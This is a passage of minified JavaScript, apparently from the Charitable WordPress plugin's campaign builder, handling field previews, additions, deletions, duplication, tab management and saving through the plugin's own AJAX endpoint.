aritable-hidden\")}},socialLinkingEvents:function($builder){$builder.on(\"input\",'.charitable-panel-field-text input[type=\"url\"].charitable-campaign-builder-social-links-text-field',function(e){var theTextField=$(this),field_id=theTextField.attr(\"data-field-id\");app.updateSocialLinksPreview(field_id,theTextField.attr(\"name\"),theTextField.val())})},updateSocialLinksPreview:function(field_id=0,textFieldName=\"\",linkURL=\"\"){const preview_field=$(\"#charitable-field-\"+field_id),social_networks=[\"twitter\",\"facebook\",\"linkedin\",\"instagram\",\"tiktok\",\"pinterest\",\"mastodon\",\"youtube\",\"threads\",\"bluesky\"];var visibleNetworks=0;$.each(social_networks,function(_index,network){if(textFieldName.indexOf(network)>=0&&app.isValidURL(linkURL)){preview_field.find(\".charitable-social-linking-preview-\"+network).removeClass(\"charitable-hidden\")}else if(textFieldName.indexOf(network)>=0){preview_field.find(\".charitable-social-linking-preview-\"+network).addClass(\"charitable-hidden\")}if(preview_field.find(\".charitable-social-linking-preview-\"+network).hasClass(\"charitable-hidden\")){}else{visibleNetworks++}});if(visibleNetworks>0){preview_field.find(\".charitable-social-linking-no-links\").addClass(\"charitable-hidden\")}else{preview_field.find(\".charitable-social-linking-no-links\").removeClass(\"charitable-hidden\")}},photoFieldEvents:function($builder){var file_frame;window.formfield=\"\";$builder.on(\"click\",\".charitable-campaign-builder-upload-button\",function(e){e.preventDefault();var button=$(this),field_id=$(this).closest(\".charitable-panel-field\").data(\"field-id\");window.formfield=$(this).parent().prev();window.field_id=field_id;if(file_frame){file_frame.open();return}file_frame=wp.media.frames.file_frame=wp.media({title:button.data(\"uploader_title\"),library:{type:\"image\"},button:{text:button.data(\"uploader_button_text\")},multiple:false});file_frame.on(\"menu:render:default\",function(view){const views={};view.unset(\"library-separator\");view.unset(\"gallery\");view.unset(\"featured-image\");view.unset(\"embed\");view.set(views)});file_frame.on(\"select\",function(){const selection=file_frame.state().get(\"selection\");selection.each(function(attachment,index){attachment=attachment.toJSON();window.formfield.val(attachment.url);app.updateImagePhotoPreview(window.field_id,attachment.url);window.field_id=false})});file_frame.open()});$builder.on(\"click\",\".charitable-campaign-builder-clear-button\",function(e){e.preventDefault();const button=$(this),field_id=$(this).closest(\".charitable-panel-field\").data(\"field-id\");button.closest(\".charitable-internal\").find('input[type=\"url\"]').val(\"\");app.updateImagePhotoPreview(field_id,false)})},updateImagePhotoPreview:function(field_id=0,imageUrl=\"\"){const preview_field=$(\"#charitable-field-\"+field_id),preview_field_image=preview_field.find(\"img.charitable-campaign-builder-preview-photo\");if(false===imageUrl||\"\"===imageUrl||!app.isValidURL(imageUrl)){preview_field.find(\".primary-image-container .primary-image img\").remove();preview_field.find(\".primary-image-container .primary-image\").append('\u003Cimg src=\"..\u002F..\u002Fimages\u002Fcampaign-builder\u002Ffields\u002Fphoto\u002Ftemp-icon.svg\" class=\"temp-icon\" alt=\"\" \u002F>');preview_field.find(\".primary-image-container\").removeClass(\"has-image\")}else{preview_field.find(\"i.temp-icon\").remove();if(preview_field_image.length>0){preview_field_image.attr(\"src\",imageUrl)}else{preview_field.find(\".primary-image-container .primary-image\").append('\u003Cimg src=\"'+imageUrl+'\" class=\"charitable-campaign-builder-preview-photo\" \u002F>');preview_field.find(\".primary-image-container\").addClass(\"has-image\")}}},isValidURL:function(str){var pattern=new RegExp(\"^(https?:\\\\\u002F\\\\\u002F)?\"+\"((([a-z\\\\d]([a-z\\\\d-]*[a-z\\\\d])*)\\\\.)+[a-z]{2,}|\"+\"((\\\\d{1,3}\\\\.){3}\\\\d{1,3}))\"+\"(\\\\:\\\\d+)?(\\\\\u002F[-a-z\\\\d%_.~+]*)*\"+\"(\\\\?[;&a-z\\\\d%_.~+=-]*)?\"+\"(\\\\#[-a-z\\\\d_]*)?$\",\"i\");return!!pattern.test(str)},resetPreviewArea:function(){elements.$formPreview.find(\".charitable-field\").each(function(){$(this).removeClass(\"active\")});$(\".charitable-select-field-notice\").show();$(\".charitable-layout-options-tab-general .charitable-panel-field\").removeClass(\"active\");$(\"#charitable-preview-tab-container\").removeClass(\"active\")},fieldDelete:function(id,confirmation=true){var $field=$(\"#charitable-field-\"+id),type=$field.data(\"field-type\");if($field.hasClass(\"no-delete\")){app.youCantRemoveFieldPopup();return}if(confirmation){app.confirmFieldDeletion(id,type)}else{app.fieldDeleteById(id,type)}},confirmFieldDeletion:function(id,type){var fieldData={id:id,message:charitable_builder.delete_confirm};var event=CharitableUtils.triggerEvent($builder,\"charitableBeforeFieldDeleteAlert\",[fieldData,type]);if(event.isDefaultPrevented()){return}$.confirm({title:false,content:fieldData.message,icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){app.fieldDeleteById(id,type)}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})},confirmCampaignDeletion:function(){$builder.on(\"click\",\".charitable-button.alert.delete-campaign\",function(e){e.preventDefault();$.alert({title:false,content:charitable_builder.campaign_delete_confirm,icon:\"fa fa-info-circle\",type:\"red\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})})},fieldDeleteById:function(id=false,type=\"\",duration=200){if(id===false){return}$(`#charitable-field-${id}`).fadeOut(duration,function(){const $field=$(this),section=$field.closest(\".charitable-field-section\"),type=$field.data(\"field-type\"),max=typeof $field.data(\"field-max\")!==\"undefined\"?parseInt($field.data(\"field-max\")):99;$builder.trigger(\"charitableBeforeFieldDelete\",[id,type]);$field.remove();$(\"#charitable-field-option-\"+id).remove();$(\".charitable-field, .charitable-preview-top-bar\").removeClass(\"active\");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+id+'\"]').remove();$(\".charitable-select-field-notice\").show();app.checkNoFieldsPreview();app.checkFieldTargetState(section);if(max===0||elements.$preview.find(\".charitable-field.charitable-field-donate-amount\").length\u003Cmax){$(\"#charitable-panel-design button#charitable-add-fields-donate-amount\").removeClass(\"charitable-disabled\")}app.checkIfTabsAreEmpty();if($(\".charitable-layout-options-tab.charitable-layout-options-tab-general\").hasClass(\"active\")){app.fieldTabToggle(\"add-layout\")}const $fieldsOptions=$(\".charitable-field-option\"),$submitButton=$builder.find(\".charitable-field-submit\");if($fieldsOptions.length\u003C1){elements.$sortableFieldsWrap.append(elements.$noFieldsPreview.clone());elements.$fieldOptions.append(elements.$noFieldsOptions.clone());$submitButton.hide()}if(!$fieldsOptions.filter(\":not(.charitable-field-option-layout)\").length){$submitButton.hide()}app.checkFieldAllow();app.checkFieldMax(type,max);app.checkRecommendedFields(type);if(wpCookies.get(\"charitable_panel_active_field_id\")===id){wpCookies.set(\"charitable_panel_active_field_id\",\"\",2592e3)}app.setCampaignNotSaved();$builder.trigger(\"charitableFieldDelete\",[id,type])})},fieldEdit:function(type,section,edit_field_id,field_id,field_type){if(section===\"general\"||section===\"standard\"||section===\"pro\"||section===\"recommended\"){app.panelSwitch(\"design\");$(\".charitable-select-field-notice\").hide();$(\".charitable-layout-options-tab-general .charitable-panel-field\").removeClass(\"active\");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+field_id+'\"]').addClass(\"active\");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id=\"'+field_id+'\"]').find(\"input[type=text],input[type=button],input[type=range],input[type=url],textarea,select\").filter(\":visible:first\").focus();if(\"html\"===field_type){$builder.trigger(\"charitableFieldAddHTML\",[field_id,field_type])}else{$builder.trigger(\"charitableFieldEdit\",[type,section,edit_field_id,field_id,field_type])}}},fieldDuplicate:function(id){const $field=$(`#charitable-field-${id}`);if($field.hasClass(\"no-duplicate\")){$.alert({title:charitable_builder.field_locked,content:charitable_builder.field_locked_no_duplicate_msg,icon:\"fa fa-info-circle\",type:\"blue\",buttons:{confirm:{text:charitable_builder.close,btnClass:\"btn-confirm\",keys:[\"enter\"]}}});return}$.confirm({title:false,content:charitable_builder.duplicate_confirm,icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){this.$$confirm.prop(\"disabled\",true);const beforeEvent=CharitableUtils.triggerEvent($builder,\"charitableBeforeFieldDuplicate\",[id,$field]);if(beforeEvent.isDefaultPrevented()){return}const newFieldId=app.fieldDuplicateRoutine(id),$newField=$(`#charitable-field-${newFieldId}`);CharitableUtils.triggerEvent($builder,\"charitableFieldDuplicated\",[id,$field,newFieldId,$newField])}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})},fieldDuplicateRoutine:function(id){const $field=$(`#charitable-field-${id}`),$fieldActiveFields=elements.$sortableFieldsWrap.find(\"> .active\"),$fieldActiveTabs=elements.$sortableFieldsWrap.find(\"> .active\"),$newField=$field.clone(),newFieldID=parseInt(elements.$nextFieldId.val(),10)+1,$settingsArea=$('#charitable-field-options .charitable-layout-options-group-inner .charitable-panel-field[data-field-id=\"'+id+'\"]');if($newField){app.updateFormHiddenFieldID(newFieldID)}$field.after($newField);$fieldActiveFields.removeClass(\"active\");$fieldActiveTabs.removeClass(\"active\");$newField.addClass(\"active\").attr({id:`charitable-field-${newFieldID}`,\"data-field-id\":newFieldID});$settingsArea.each(function(){var $newSettingsField=$(this).clone(),isContains=$newSettingsField.text().indexOf(\"ID:\")>-1;$newSettingsField.attr(\"data-field-id\",newFieldID);$(this).removeClass(\"active\");$newSettingsField.addClass(\"active\");if(isContains){$newSettingsField.text(function(index,text){return text.replace(\"ID: \"+id,\"ID: \"+newFieldID)})}if(typeof $newSettingsField.attr(\"name\")!==\"undefined\"&&$newSettingsField.attr(\"name\").length>0){$newSettingsField.attr(\"name\",$newSettingsField.attr(\"name\").replace(id,newFieldID))}if(typeof $newSettingsField.attr(\"id\")!==\"undefined\"&&$newSettingsField.attr(\"id\").length>0){$newSettingsField.attr(\"id\",$newSettingsField.attr(\"id\").replace(id,newFieldID))}$newSettingsField.find(\"*\").each(function(){var $subField=$(this);if(typeof $subField.attr(\"for\")!==\"undefined\"&&$subField.attr(\"for\").length>0){$subField.attr(\"for\",$subField.attr(\"for\").replace(id,newFieldID))}if(typeof $subField.attr(\"name\")!==\"undefined\"&&$subField.attr(\"name\").length>0){$subField.attr(\"name\",$subField.attr(\"name\").replace(id,newFieldID))}if(typeof $subField.attr(\"id\")!==\"undefined\"&&$subField.attr(\"id\").length>0){$subField.attr(\"id\",$subField.attr(\"id\").replace(id,newFieldID))}if(typeof $subField.data(\"field-id\")!==\"undefined\"&&$subField.data(\"field-id\").length>0){$newSettingsField.attr(\"data-field-id\",newFieldID)}});$newSettingsField.find(\".charitable-toggle-control\").attr(\"data-field-id\",newFieldID);$newSettingsField.find(\".charitable-checkbox-for-toggle\").attr(\"data-field-id\",newFieldID);$(\"#charitable-field-options .charitable-layout-options-tab-general .charitable-layout-options-group-inner\").append($newSettingsField);if(typeof $newSettingsField.data(\"special-type\")!==\"undefined\"&&$newSettingsField.data(\"special-type\")===\"campaign_description\"){let contentToCopy=$newSettingsField.find(\".campaign-builder-htmleditor .ql-editor\").html();$newSettingsField.find(\".ql-toolbar\").remove();$newSettingsField.find(\".campaign-builder-htmleditor\").html('\u003Cdiv data-textarea-name=\"_fields['+newFieldID+'][content]\" id=\"charitable-panel-field-settings-field_campaign-description_html_'+newFieldID+'\" class=\"campaign-builder-htmleditor\">'+contentToCopy+\"\u003C\u002Fdiv>\");app.initHTMLEditorFields($newSettingsField.find(\".campaign-builder-htmleditor\"),false)}app.checkFieldAllow();app.checkFieldMax()});return newFieldID},focusOutEvent:function(){if(elements.$focusOutTarget===null){return}elements.$focusOutTarget=null},isFormPreviewActionsDisabled:function(el){return $(el).closest(\".charitable-field-wrap\").hasClass(\"ui-sortable-disabled\")},fieldGroupTogglev2:function(el,action){var $this=$(el),groupName=$this.closest(\".charitable-group\").data(\"group_id\"),$nearestGroup=$this.closest(\".charitable-group\"),$rows=$nearestGroup.find(\".charitable-group-rows\"),$group=$rows.parent(),$icon=$this.find(\"i\"),cookieName=\"charitable_panel_layout_options_tabs_tab_open_\"+groupName;if(action===\"click\"){$icon.toggleClass(\"charitable-angle-right\");$rows.stop().slideToggle(\"\",function(){$nearestGroup.toggleClass(\"charitable-closed\");if($nearestGroup.hasClass(\"charitable-closed\")){$nearestGroup.removeClass(\"charitable-open\");wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,\"true\",2592e3)}});return}},fieldGroupTogglev3:function(el,action=\"click\"){var $this=$(el),$nearestGroup=$this.closest(\".charitable-add-fields-group\"),$rows=$nearestGroup.find(\".charitable-group-rows\"),$icon=$this,groupName=\"test\",cookieName=\"charitable_panel_add_layout_blocks_open_\"+groupName;if(action===\"click\"){$icon.toggleClass(\"charitable-angle-right\");$rows.stop().slideToggle(\"\",function(){$nearestGroup.toggleClass(\"charitable-closed\");if($nearestGroup.hasClass(\"charitable-closed\")){$nearestGroup.removeClass(\"charitable-open\");wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,\"true\",2592e3)}});return}},fieldGroupToggle:function(el,action){var $this=$(el),$buttons=$this.next(\".charitable-add-fields-buttons\"),$group=$buttons.parent(),$icon=$this.find(\"i\"),groupName=$this.data(\"group\"),cookieName=\"charitable_field_group_\"+groupName;if(groupName==\"general-layout-campaign\"||groupName==\"general-layout-faq\"){$group=$this.parent().find(\".charitable-\"+groupName+\"-group-inner\");$buttons=$group}if(action===\"click\"){if($group.hasClass(\"charitable-closed\")){wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,\"true\",2592e3)}$icon.toggleClass(\"charitable-angle-right\");$buttons.stop().slideToggle(\"\",function(){$group.toggleClass(\"charitable-closed\")});return}else if(action===\"load\"){$buttons=$this.find(\".charitable-add-fields-buttons\");$icon=$this.find(\".charitable-add-fields-heading i\");groupName=$this.find(\".charitable-add-fields-heading\").data(\"group\");cookieName=\"charitable_field_group_\"+groupName;if(wpCookies.get(cookieName)===\"true\"){$icon.toggleClass(\"charitable-angle-right\");$buttons.hide();$this.toggleClass(\"charitable-closed\")}}},fieldMove:function(type,options){var $field=options.field;$field.find(\".charitable-field-edit\").click();$builder.find(\".charitable-add-fields .charitable-add-fields-button\").prop(\"disabled\",false);var section=$field.closest(\".charitable-field-section\");app.checkFieldTargetState(section);if(options.section){app.checkFieldTargetState(options.section)}$builder.trigger(\"charitableFieldMove\",[options.fieldId,type])},fieldAdd:function(type,options){const $btn=$(`#charitable-add-fields-${type}`);adding=true;if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.disableDragAndDrop===\"function\"){Charitable.Admin.Builder.DragFields.disableDragAndDrop()}app.disableFormActions();let defaults={campaign_title:s.campaignTitle,position:\"bottom\",$sortable:\"base\",placeholder:false,scroll:true,defaults:false,column_id:options.column_id,tab_id:options.tab_id,section_id:options.section_id,area:\"fields\"};options=$.extend({},defaults,options);let data={action:\"charitable_new_field_\"+type,id:s.formID,column_id:options.column_id,tab_id:options.tab_id,section_id:options.section_id,field_id:parseInt(elements.$nextFieldId.val())+1,type:type,campaign_title:options.campaign_title,defaults:options.defaults,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(res){if(!res.success){wpchar.debug(\"Add field AJAX call is unsuccessful:\",res);return}wpchar.debug(\"fieldAdd return\");app.refreshTabFieldsSortDrag();let $baseFieldsContainer=options.area===\"tabs\"?elements.$sortableTabContent.find('li[data-tab-id=\"'+data.tab_id+'\"] .charitable-tab-wrap'):elements.$formPreview.find('.charitable-field-wrap[data-section-id=\"'+data.section_id+'\"]');wpchar.debug($baseFieldsContainer);const $newField=$(res.data.preview),maxAllowed=typeof res.data.max!==\"undefined\"?parseInt(res.data.max):99,$newOptions=$(res.data.options);let $fieldContainer=options.$sortable;adding=false;$newField.css(\"display\",\"none\");if(options.placeholder){options.placeholder.remove()}if(options.$sortable===\"default\"||!options.$sortable.length){$fieldContainer=$baseFieldsContainer.find(\".charitable-fields-sortable-default\")}if(options.$sortable===\"base\"||!$fieldContainer.length){$fieldContainer=$baseFieldsContainer}let event=CharitableUtils.triggerEvent($builder,\"charitableBeforeFieldAddToDOM\",[options,$newField,$newOptions,$fieldContainer]);if(event.isDefaultPrevented()){return}if(!event.skipAddFieldToBaseLevel){app.fieldAddToBaseLevel(options,$newField,$newOptions)}if(elements.$preview.find(\".charitable-field.charitable-field-donate-amount\").length>=maxAllowed){$(\"#charitable-panel-design button#charitable-add-fields-donate-amount\").addClass(\"charitable-disabled\")}$newField.fadeIn();app.checkFieldTargetState($('.charitable-field-section[data-section-id=\"'+data.section_id+'\"]'));$newField.find(\".charitable-field-edit\").click();if($(\".charitable-field-option:not(.charitable-field-option-layout)\").length){$builder.find(\".charitable-field-submit\").show()}app.updateFormHiddenFieldID(res.data.field_id);if(res.data.edit_field_html!==\"\"){$(\".charitable-layout-options-tab-general .charitable-layout-options-group-inner\").append(res.data.edit_field_html).find('.charitable-panel-field[data-field-id=\"'+res.data.field_id+'\"]').addClass(\"active\");if(res.data.html_field!=\"\"){$('.charitable-panel-field[data-field-id=\"'+res.data.field_id+'\"]').find(\".campaign-builder-htmleditor\").each(function(){app.initHTMLEditorFields($(this),false)})}if(type===\"campaign-description\"&&typeof s.campaignDescription!==\"undefined\"){$newField.find(\".charitable-campaign-builder-no-description-preview\").html(\"\u003Cdiv>\"+s.campaignDescription+\"\u003C\u002Fdiv>\");if($(\"#charitable-panel-field-settings-field_campaign-description_html_\"+data.field_id).find(\".ql-editor\").length===0){app.initHTMLEditorFields($(\"#charitable-panel-field-settings-field_campaign-description_html_\"+data.field_id))}$(\"#charitable-panel-field-settings-field_campaign-description_html_\"+data.field_id).find(\".ql-editor\").html(s.campaignDescription)}}if(res.data.field.type===\"organizer\"){$('.campaign-builder-campaign-creator-id-mini[data-field-id=\"'+res.data.field_id+'\"] select').select2({templateResult:app.campaignCreatorFormatOptions})}app.checkFieldAllow();app.checkFieldMax();app.updateEndDateRelatedItems();app.updateGoalRelatedItems();app.checkRecommendedFields(type);var fieldContainerSectionType=$fieldContainer.data(\"section-type\"),forceDeleteNoPreview=false;if(typeof fieldContainerSectionType!==\"undefined\"&&fieldContainerSectionType===\"fields\"){forceDeleteNoPreview=true}app.checkNoFieldsPreview();if(\"photo\"===type){$('.charitable-panel-field-uploader[data-field-id=\"'+res.data.field_id+'\"] input.charitable-campaign-builder-upload-button').click()}else if(\"donate-amount\"===type){$(\".charitable-campaign-suggested-donations-mini\").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))})}$builder.trigger(\"charitableFieldAdd\",[res.data.field.id,type])}).fail(function(xhr,textStatus,e){adding=false}).always(function(){$builder.find(\".charitable-add-fields .charitable-add-fields-button\").prop(\"disabled\",false);if(!adding){if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.enableDragAndDrop===\"function\"){Charitable.Admin.Builder.DragFields.enableDragAndDrop()}app.enableFormActions()}})},fieldAddToBaseLevel:function(options,$newField,$newOptions){wpchar.debug(\"options\");wpchar.debug(options);let $baseFieldsContainer=\"\";if(options.area===\"tabs\"){$baseFieldsContainer=elements.$sortableTabContent.find('li[data-tab-id=\"'+options.tab_id+'\"] .charitable-tab-wrap');$baseFieldsContainer.parent().removeClass(\"empty-tab\")}else{$baseFieldsContainer=elements.$formPreview.find('.charitable-field-wrap[data-section-id=\"'+options.section_id+'\"]')}wpchar.debug(\"baseFieldsContainer\");wpchar.debug($baseFieldsContainer);const $baseFields=$baseFieldsContainer.find(\"> :not(.charitable-field-drag-pending)\"),$lastBaseField=$baseFields.last(),totalBaseFields=$baseFields.length;let $fieldInPosition=elements.$fieldOptions;if(options.position===\"top\"){$baseFieldsContainer.prepend($newField);return}if(options.position===\"bottom\"&&(!$lastBaseField.length||!$lastBaseField.hasClass(\"charitable-field-stick\"))){wpchar.debug(\"adding field to the bottom!!!!\");$baseFieldsContainer.append($newField);return}if(options.position===\"bottom\"){options.position=totalBaseFields}if(options.position===totalBaseFields&&$lastBaseField.length&&$lastBaseField.hasClass(\"charitable-field-stick\")){$lastBaseField.before($newField);return}$fieldInPosition=$baseFieldsContainer.children(\":not(.charitable-field-drag-pending)\").eq(options.position);if($fieldInPosition.length){$fieldInPosition.before($newField);return}$baseFieldsContainer.append($newField)},checkIfTabsAreEmpty:function(){elements.$preview.find(\".tab-content ul li.tab_content_item\").each(function(){var numfields=$(this).find(\".charitable-field\").length;if(numfields===0){$(this).addClass(\"empty-tab\")}})},disableFormActions:function(disableExit=false,disableCampaignTitleEdit=true,disablePreviewButton=false){$.each([elements.$embedButton,elements.$statusButton,elements.$saveButton],function(_index,button){button.prop(\"disabled\",true).addClass(\"charitable-disabled\")});if(disableExit){$.each([elements.$exitButton],function(_index,button){button.prop(\"disabled\",true).addClass(\"charitable-disabled\")})}if(disableCampaignTitleEdit){$(\".charitable-edit-campaign-title-area\").addClass(\"charitable-disabled\");$(\".charitable-edit-campaign-title-area input\").prop(\"disabled\",true);$(\".charitable-edit-campaign-title-area a\").addClass(\"charitable-disabled\")}if(disablePreviewButton){elements.$previewButton.prop(\"disabled\",true).addClass(\"charitable-disabled\")}},enableFormActions:function(){$.each([elements.$statusButton,elements.$saveButton,elements.$exitButton],function(_index,button){button.prop(\"disabled\",false).removeClass(\"charitable-disabled\")});$(\".charitable-edit-campaign-title-area\").removeClass(\"charitable-disabled\");$(\".charitable-edit-campaign-title-area input\").prop(\"disabled\",false);$(\".charitable-edit-campaign-title-area a\").removeClass(\"charitable-disabled\");if(s.formStatus===\"publish\"){elements.$embedButton.prop(\"disabled\",false).removeClass(\"charitable-disabled\")}},fieldChoiceDeleteAlert:function(){$.alert({title:false,content:charitable_builder.error_choice,icon:\"fa fa-info-circle\",type:\"blue\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"]}}})},fieldChoiceSortable:function(type,selector){selector=typeof selector!==\"undefined\"?selector:\".charitable-field-option-\"+type+\" .charitable-field-option-row-choices ul\";$(selector).sortable({items:\"li\",axis:\"y\",delay:100,opacity:.6,handle:\".move\",stop:function(e,ui){var id=ui.item.parent().data(\"field-id\");app.fieldChoiceUpdate(type,id);$builder.trigger(\"charitableFieldChoiceMove\",ui)},update:function(e,ui){}})},tabDelete:function(groupID){app.confirmTabDeletion(groupID)},confirmTabDeletion:function(groupID){var tabData={id:groupID,message:charitable_builder.delete_tab_confirm};var event=CharitableUtils.triggerEvent($builder,\"charitableBeforeTabDeleteAlert\",[tabData]);if(event.isDefaultPrevented()){return}$.confirm({title:false,content:charitable_builder.delete_tab_confirm,icon:\"fa fa-exclamation-circle\",type:\"orange\",buttons:{confirm:{text:charitable_builder.ok,btnClass:\"btn-confirm\",keys:[\"enter\"],action:function(){app.tabDeleteById(groupID)}},cancel:{text:charitable_builder.cancel,keys:[\"esc\"]}}})},tabDeleteById:function(groupID){const tab_settings=elements.$fieldOptions.find('[data-group_id=\"'+groupID+'\"]'),tab_preview_nav=$(\"nav ul li#tab_\"+groupID+\"_title\"),tab_preview_content=elements.$preview.find('.tab-content ul li.tab_content_item[data-tab-id=\"'+groupID+'\"]'),tab_count=elements.$preview.find(\".tab-content .tab_content_item\").length-1,previous_group_ID=Math.abs(groupID-1),tab_content=elements.$preview.find(\".tab-content\");tab_settings.remove();tab_preview_nav.remove();tab_preview_content.remove();if(elements.$preview.find('nav.charitable-campaign-preview-nav ul li[data-tab-id=\"'+previous_group_ID+'\"] a').length>0){elements.$preview.find('nav.charitable-campaign-preview-nav ul li[data-tab-id=\"'+previous_group_ID+'\"] a').click()}else if(tab_count===1){elements.$preview.find(\"nav.charitable-campaign-preview-nav ul li a\").first().click()}if(tab_count===0){tab_content.addClass(\"empty-tabs\");tab_content.append('\u003Cp class=\"no-tab-notice\">'+charitable_builder.no_tabs+\"\u003C\u002Fp>\")}else{tab_content.removeClass(\"empty-tabs\");tab_content.find(\".no-tab-notice\").remove()}app.checkHideTabNavigation()},bindUIActionsPreview:function(){$(\"body\").on(\"click\",\"a#charitable-preview-btn\",function(e){e.preventDefault();e.stopPropagation();if(parseInt(elements.$campaignID.val())===0){$.alert({title:charitable_builder.no_preview_must_save,content:charitable_builder.no_preview_must_save_msg,icon:\"fa fa-info-circle\",type:\"blue\",buttons:{confirm:{text:charitable_builder.close,btnClass:\"btn-confirm\",keys:[\"enter\"]}}});return}else{var openNewTabURL=\"\";if(typeof this.href!==\"undefined\"){openNewTabURL=this.href.replace(\"charitable_campaign_preview=0\",\"charitable_campaign_preview=\"+s.campaignID)}if(typeof s.formStatus!==\"undefined\"&&s.formStatus===\"publish\"){app.formSave(false,true,openNewTabURL)}else if(typeof s.formStatus!==\"undefined\"&&s.formStatus===\"draft\"){app.formSave(false,true,openNewTabURL)}}})},bindUIActionsSaveExit:function(){$builder.on(\"click\",\"#charitable-embed\",function(e){e.preventDefault();e.stopPropagation();if($(this).hasClass(\"charitable-disabled\")){return}CharitableCampaignEmbedWizard.openPopup(s.formID)});$builder.on(\"click\",\"#charitable-status-button\",function(e){e.preventDefault();e.stopPropagation();if($(this).hasClass(\"charitable-disabled\")){return}if($(this).hasClass(\"active\")){$(this).parent().find(\"ul#charitable-status-dropdown\").addClass(\"charitable-hidden\");$(this).removeClass(\"active\")}else{$(this).parent().find(\"ul#charitable-status-dropdown\").removeClass(\"charitable-hidden\");$(this).addClass(\"active\")}});$builder.on(\"click\",\"ul#charitable-status-dropdown a\",function(e){e.preventDefault();e.stopPropagation();if($(\"#charitable-status-button\").hasClass(\"charitable-disabled\")){return}var newStatus=$(this).data(\"status\"),newStatusLabel=$(this).data(\"status-label\"),$statusDropdown=$(\"ul#charitable-status-dropdown\");$statusDropdown.addClass(\"charitable-hidden\");$(\"#charitable-status-button\").removeClass(\"active\");$(\"#charitable-status-button span.text\").html(newStatusLabel);$(\"#charitable-status-button\").attr(\"data-status\",newStatus);$statusDropdown.find(\"a\").removeClass(\"charitable-hidden\");$statusDropdown.find(\"a.switch-\"+newStatus).addClass(\"charitable-hidden\");$statusDropdown.find(\"a.\"+newStatus).addClass(\"charitable-hidden\");if(newStatus===\"draft\"){}else if(newStatus===\"publish\"){}s.formStatus=newStatus;s.formStatusLabel=newStatusLabel});$builder.on(\"click\",function(e){if($(e.target).is(\"#charitable-status-dropdown\")===false){$(\"ul#charitable-status-dropdown\").addClass(\"charitable-hidden\");$(\"#charitable-status-button\").removeClass(\"active\")}});$builder.on(\"click\",\"#charitable-save\",function(e){e.preventDefault();app.formSave(false)});$builder.on(\"click\",\"#charitable-exit\",function(e){e.preventDefault();app.formExit()});$builder.on(\"charitableSaved\",function(e,data){$(\"#charitable_settings_title\").attr(\"disabled\",true);wpchar.removeQueryParam(\"newform\")})},updateFormID:function(){var data={action:\"charitable_get_campaign_form_id\",id:s.formID,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){var campaignID=response.data.campaign_id,redirect=false;$(\"form#charitable-builder-form\").attr(\"data-id\",campaignID);$('form#charitable-builder-form input[name=\"id\"]').val(campaignID);if(response.data.field_id){elements.$nextFieldId.val(parseInt(response.data.field_id))}wpchar.savedState=wpchar.getFormState(\"#charitable-builder-form\");wpchar.initialSave=false;$builder.trigger(\"charitableSaved\",response.data);app.updateDebugWindow(response.data,response.data.campaign_id);if(true===redirect){window.location.href=charitable_builder.exit_url}}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},updateFormHiddenFields:function(){$('#charitable-panel-design .charitable-panel-content-wrap input[type=\"hidden\"]').remove();$(\".charitable-field-wrap .charitable-field, .charitable-tab-wrap .charitable-field\").each(function(){var row_type=$(this).closest(\".row\").data(\"row-type\"),row_id=$(this).closest(\".row\").data(\"row-id\"),row_css=$(this).closest(\".row\").data(\"row-css\").length>0?$(this).closest(\".row\").data(\"row-css\"):\"no-css\",column_id=$(this).closest(\".column.charitable-field-column\").data(\"column-id\"),section_type=$(this).closest(\".section.charitable-field-section\").data(\"section-type\"),section_id=$(this).closest(\".section.charitable-field-section\").data(\"section-id\"),field_id=$(this).data(\"field-id\"),tab_id=\"tabs\"===section_type?$(this).closest(\"li.tab_content_item\").data(\"tab-id\"):false;if(typeof row_id!==\"undefined\"){if(\"tabs\"===section_type){elements.$formPreview.append('\u003Cinput type=\"hidden\" name=\"layout[row][row-type-'+row_type+\"][\"+row_id+\"][\"+row_css+\"][column][\"+column_id+\"][section][section-type-\"+section_type+\"][\"+section_id+\"][tabs][\"+tab_id+\"][fields][\"+field_id+']\" value=\"'+$(this).data(\"field-type\")+'\" \u002F>')}else{elements.$formPreview.append('\u003Cinput type=\"hidden\" name=\"layout[row][row-type-'+row_type+\"][\"+row_id+\"][\"+row_css+\"][column][\"+column_id+\"][section][section-type-\"+section_type+\"][\"+section_id+\"][fields][\"+field_id+']\" value=\"'+$(this).data(\"field-type\")+'\" \u002F>')}}})},updateFormHiddenFieldID:function(newValue=0){if(0===newValue){var field_id=0;elements.$formPreview.find(\".charitable-field\").each(function(){var value=parseFloat($(this).attr(\"data-field-id\"));field_id=value>field_id?value:field_id});newValue=field_id}elements.$nextFieldId.val(parseInt(newValue))},updatePreviewLink:function(previewLink=\"\"){elements.$previewButton.attr(\"href\",previewLink)},updateSuggestDonationsSettings:function($element,theIndex){if(!$element.is(\"input\")||app.getInputType($element)!==\"text\"){return}$(\"table#campaign_donation_amounts tbody\").find('input[type=\"text\"].campaign_suggested_donations').eq(theIndex).val($element.val());$(\".charitable-campaign-suggested-donations-mini 